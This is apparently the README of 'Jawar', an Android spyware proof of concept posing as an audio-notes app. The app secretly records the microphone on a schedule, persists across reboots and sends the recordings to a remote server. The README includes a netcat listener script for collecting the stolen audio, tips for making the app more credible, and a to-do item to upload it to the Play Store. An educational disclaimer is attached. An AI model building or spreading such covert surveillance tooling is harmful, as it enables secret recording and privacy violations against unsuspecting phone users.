Jawar is a malware app for Android, as long as the app is installed, it records permanently with the mic and send the audios through TCP. It works even if the app is closed or the phone is rebooted.
This software is a proof of concept and should never be used in a real environnement, I take no responsibilities for the misuse you can give it. I will say it again, this software is for educational purposes only. No responsibility is held or accepted for misuse. See "License.md".
The attacker would show you the app as a tool for recording audio notes, so during installation any user will give it permission to access microphone. Once installed, the app will print a message like "Downloading plugins (this could take a while), please come back later :)" (We could program a real functionality for the legitim app, but this is a Proof of Concept so we will stay with the message). At this point, the user closed the app and forgot about it for some (hours? days?).
Jawar always keeps a service running in background and constantly records user's life using his microphone (remember that user granted permission for it). After recording, Jawar sends the audio file to a remote server using TCP sockets.
You can program something easy in any lenguage, here is an example in bash (you will need netcat):
#!/bin/bash
i=1
while [ True ]; do
nc -l -p 4444 > ~/Desktop/audio$i.3gp
i=$((i+1))
done- Works for Android 5.0 and above
- The malicious background service only starts if the phone has any kind of connection to the network/Internet.
- This service runs periodically (the period is changeable)
- It records samples of 30 seconds (changeable)
- It is persistent, Jawar's malicious service keeps executing even if the app is closed or the phone is rebooted (Thanks to scheduled services of Android).
- Check what happens if Jawar is recording and user opens an app that needs the microphone (or starts a phone call).
- Give it a real legitim functionnality, so the app will be more credible.
Upload it to the PlayStore.